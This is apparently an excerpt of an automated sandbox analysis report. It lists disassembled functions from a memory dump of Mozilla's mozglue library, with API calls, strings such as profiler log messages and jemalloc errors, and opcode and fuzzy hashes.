Part of subcall function 6CA77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA77693
Part of subcall function 6CA77670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA785B2

Part of subcall function 6CA55E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA55EDB
Part of subcall function 6CA55E90: memset.VCRUNTIME140(6CA97765,000000E5,55CCCCCC), ref: 6CA55F27
Part of subcall function 6CA55E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA55FB2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: a1b3d1283a7156019f262b84136ee2195e2f861c28632c042fe953f2bc14e9c5
Instruction ID: e2d36685538a98cb2dd030b876b213699265c06a5dedab25a2c02b8afd31b1e4
Opcode Fuzzy Hash: a1b3d1283a7156019f262b84136ee2195e2f861c28632c042fe953f2bc14e9c5
Instruction Fuzzy Hash: 96217FB82007419FDB28DB24C888A5AB7B5BF4430DF18482DE55BD3B41DB31F999CB65

Function 6CA41640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA41699
VerSetConditionMask.NTDLL ref: 6CA416CB
VerSetConditionMask.NTDLL ref: 6CA416D7
VerSetConditionMask.NTDLL ref: 6CA416DE
VerSetConditionMask.NTDLL ref: 6CA416E5
VerSetConditionMask.NTDLL ref: 6CA416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA416F9

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 5073e541215737a46853682786d8df57870cdee255ee816b238b139213811e8f
Instruction ID: 51c263fcef033a4cbb5f3aaec9e0be9f0f5f0d97ecbf8f8fa2469ff4a889d086
Opcode Fuzzy Hash: 5073e541215737a46853682786d8df57870cdee255ee816b238b139213811e8f
Instruction Fuzzy Hash: C82105B07403086BEB106A68DC85FFBB37CEF86704F048528F6059B1D0C678DD94C6A1

Function 6CA7F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6CBE8: GetCurrentProcess.KERNEL32(?,6CA331A7), ref: 6CA6CBF1
Part of subcall function 6CA6CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA331A7), ref: 6CA6CBFA

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA7F598), ref: 6CA7F621

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

GetCurrentThreadId.KERNEL32 ref: 6CA7F637
AcquireSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000,?,6CA7F598), ref: 6CA7F645
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000,?,6CA7F598), ref: 6CA7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA7F62A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: b30bb4f99cb11cf9e1e4521ff58b194df55f96dbaccf3637cd92c7d871f5cc70
Instruction ID: 7bd3b3d1dd82b3c6f5125590fe31a4e2219b9fee9101079f769fa1e42a8dcf0f
Opcode Fuzzy Hash: b30bb4f99cb11cf9e1e4521ff58b194df55f96dbaccf3637cd92c7d871f5cc70
Instruction Fuzzy Hash: 4C11C83D201306AFCA18AF69DD489E5B77DFF86358B14401AEA0587F11CB71AC66CBB4

Function 6CA41FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CA41FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CA41FFD
__Init_thread_footer.LIBCMT ref: 6CA42011
FreeLibrary.KERNEL32 ref: 6CA42059

Strings

combase.dll, xrefs: 6CA41FD9
CoCreateInstance, xrefs: 6CA41FF7

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: d2c85607e60e9ddbaf9af91bf24ad03818c76905d936698af2e5245c7d7311ff
Instruction ID: 4f8437398f625a9f9e7c2a3f4cb622ce9c502df8025b34d631b8b31fdd245f2c
Opcode Fuzzy Hash: d2c85607e60e9ddbaf9af91bf24ad03818c76905d936698af2e5245c7d7311ff
Instruction Fuzzy Hash: 40116D7C241306AFDF28CF15DD48E963BB9FB86356F08C229F905D2660C7319C82CA65

Function 6CA40EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA6D9F0,00000000), ref: 6CA40F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA40F3C
__Init_thread_footer.LIBCMT ref: 6CA40F50
FreeLibrary.KERNEL32(?,6CA6D9F0,00000000), ref: 6CA40F86

Strings

combase.dll, xrefs: 6CA40F18
CoInitializeEx, xrefs: 6CA40F36

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d7125d08068ccaddce95f2672b0bd1e400db46e92ea95f2718a9ad7a54bac724
Instruction ID: 4f7245cde3ce3f1b3fd578a01464d2f6b45162b5c23d6526f024cb4eeb470c5f
Opcode Fuzzy Hash: d7125d08068ccaddce95f2672b0bd1e400db46e92ea95f2718a9ad7a54bac724
Instruction Fuzzy Hash: C711A37C2013429BDF08CF68CF48A863778FB5A325F08C32DE90592760D730A486CA69

Function 6CA7F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7F561

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

GetCurrentThreadId.KERNEL32 ref: 6CA7F577
AcquireSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7F585
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8), ref: 6CA7F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CA7F499
[I %d/%d] profiler_resume, xrefs: 6CA7F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA7F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6CA7F3A8

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 55efd156af843663d446fd36f470e9d42c29d58e89c7fb0e25e47f98d81d7caf
Instruction ID: d4d679ea5c00488522cc72b001b6e84b695ba83eb2299ecf43e615a17ea7768c
Opcode Fuzzy Hash: 55efd156af843663d446fd36f470e9d42c29d58e89c7fb0e25e47f98d81d7caf
Instruction Fuzzy Hash: 17F0B47D2003059FDA146B79EC88A9AB77CFB8625DF048119FA0583721CB758C468778

Function 6CA7F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA44A68), ref: 6CA7945E
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA79470
Part of subcall function 6CA79420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA79482
Part of subcall function 6CA79420: __Init_thread_footer.LIBCMT ref: 6CA7949F

GetCurrentThreadId.KERNEL32 ref: 6CA7F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA7F598), ref: 6CA7F621

Part of subcall function 6CA794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA794EE
Part of subcall function 6CA794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA79508

GetCurrentThreadId.KERNEL32 ref: 6CA7F637
AcquireSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000,?,6CA7F598), ref: 6CA7F645
ReleaseSRWLockExclusive.KERNEL32(6CABF4B8,?,?,00000000,?,6CA7F598), ref: 6CA7F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA7F62A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 79dd5afa67ad4c4e654155d1adb49213f806941889f195ac4cc3eaa38e6fd206
Instruction ID: 4cf354f6c6b0bb66a591937841ef2480b254b2fd311adaf5121b4cb5226da50b
Opcode Fuzzy Hash: 79dd5afa67ad4c4e654155d1adb49213f806941889f195ac4cc3eaa38e6fd206
Instruction Fuzzy Hash: 86F0B47D200305AFDB146B789C88A9AB77DFF8625DF048119FA0583721CB755C468778

Function 6CA40E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CA40DF8), ref: 6CA40E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CA40EA1
__Init_thread_footer.LIBCMT ref: 6CA40EB5
FreeLibrary.KERNEL32 ref: 6CA40EC5

Strings

kernel32.dll, xrefs: 6CA40E7D
GetProcessMitigationPolicy, xrefs: 6CA40E9B

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 3321acc5847ebab2c3851ec6a75deb69dfd5e6e0b25e7205298be1f7cfb6ef4c
Instruction ID: 7592eb44bd94ae2e3007fdcf386b7625bdc387763ff45407b73f72c9409f7d7a
Opcode Fuzzy Hash: 3321acc5847ebab2c3851ec6a75deb69dfd5e6e0b25e7205298be1f7cfb6ef4c
Instruction Fuzzy Hash: 4D01287C6003828BDA088FE8DD55A4233B6FB06315F1885ADA90192B60D770A8D69A19

Function 6CA705F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA6CFAE,?,?,?,6CA331A7), ref: 6CA705FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA6CFAE,?,?,?,6CA331A7), ref: 6CA70616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA331A7), ref: 6CA7061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA331A7), ref: 6CA70627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA7061B, 6CA70625
<jemalloc>, xrefs: 6CA705FA, 6CA7060F

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 54cc75fc8ec413df0b331e96864b371309093602aa792a316dabfb573668e58d
Instruction ID: 09eb1eb0dc2b66b7db885ccf0612445117232915f6b230c275e90f9e8110cb98
Opcode Fuzzy Hash: 54cc75fc8ec413df0b331e96864b371309093602aa792a316dabfb573668e58d
Instruction Fuzzy Hash: 4FE0ECE2A0111437F514629ABC86DBBB65CDBC6578F080139FD0D83301E95BAD1E55F6

Function 6CA405F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddba23dde9fb5759b7a0dd95a5bd69fabc1bfe9640aa55ebea870615400f578
Instruction ID: b4a062a4262665e4bbfd7965d54ddf27479053e68fb71f655147529a7a198497
Opcode Fuzzy Hash: cddba23dde9fb5759b7a0dd95a5bd69fabc1bfe9640aa55ebea870615400f578
Instruction Fuzzy Hash: 38A15AB4A00745CFDB14CF29C994A9AFBF1BF58304F54866ED44A97B00E770A989CFA0

Function 6CA914A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA914C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA914E2
GetCurrentThreadId.KERNEL32 ref: 6CA91546
InitializeConditionVariable.KERNEL32(?), ref: 6CA915BA
free.MOZGLUE(?), ref: 6CA916B4

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: b0687a0b84c9c2a4d8f0693dcca3e4f28f17f4197a59ca6ac8ed8c0ded09e9c8
Instruction ID: c1776f34323ea48c093da1f5080b3942c0dfe8fda58b64ff7190b6c2d03bd995
Opcode Fuzzy Hash: b0687a0b84c9c2a4d8f0693dcca3e4f28f17f4197a59ca6ac8ed8c0ded09e9c8
Instruction Fuzzy Hash: 8561E076A017049BDB118F24C980BEEB7F5BF89308F45851CEE8A57711DB30E999CB91

Function 6CA89F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA89FDB
free.MOZGLUE(?,?), ref: 6CA89FF0
free.MOZGLUE(?,?), ref: 6CA8A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CA8A0BE
free.MOZGLUE(?,?), ref: 6CA8A0D5
free.MOZGLUE(?,?), ref: 6CA8A0EB

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 626f3b2947a4161fdb6de8b747f79074161b71426f206f39daa6e7b04947b4ef
Instruction ID: dd49ec794df161479b95b395619c6e63b2d6b8faae5c487cee290c033e276a73
Opcode Fuzzy Hash: 626f3b2947a4161fdb6de8b747f79074161b71426f206f39daa6e7b04947b4ef
Instruction Fuzzy Hash: 9F619F759096419FC711CF18C48055AB3F5FF88328F548659EC999B742EB32E9C6CBC1

Function 6CA8DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA8DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CA8D38A,?), ref: 6CA8DC6F
free.MOZGLUE(?,?,?,?,?,6CA8D38A,?), ref: 6CA8DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CA8D38A,?), ref: 6CA8DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CA8D38A,?), ref: 6CA8DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CA8D38A,?), ref: 6CA8DD4A

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: a72b52ff0b7564c56c6080cf1ad00682afd56a482511f9fef3ce2eda7a5a988d
Instruction ID: 2749ce56e01c96daa021b073e45159cf6e83771528825859fb78d7893afcdbb2
Opcode Fuzzy Hash: a72b52ff0b7564c56c6080cf1ad00682afd56a482511f9fef3ce2eda7a5a988d
Instruction Fuzzy Hash: 4B416DB5E01206CFCB44CFA9C98099AB7F5FF88314B65456AD945A7B20D771FC44CB90

Function 6CA76590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA6FA80: GetCurrentThreadId.KERNEL32 ref: 6CA6FA8D
Part of subcall function 6CA6FA80: AcquireSRWLockExclusive.KERNEL32(6CABF448), ref: 6CA6FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA76727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA767C8

Part of subcall function 6CA84290: memcpy.VCRUNTIME140(?,?,6CA92003,6CA90AD9,?,6CA90AD9,00000000,?,6CA90AD9,?,00000004,?,6CA91A62,?,6CA92003,?), ref: 6CA842C4

Strings

data, xrefs: 6CA76593

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 204d02bb99d512782810ed38789f9c756c32d9313e61e341ee75f41d0df9d56b
Instruction ID: f6503a2e74d68b903f300fb6a575ac871bebfaf8cbf41f955c33611a56612856
Opcode Fuzzy Hash: 204d02bb99d512782810ed38789f9c756c32d9313e61e341ee75f41d0df9d56b
Instruction Fuzzy Hash: 00D1DF79A043408FD728CF64C951B9FB7E5BFC5308F14892DE58997B51EB30A889CB62

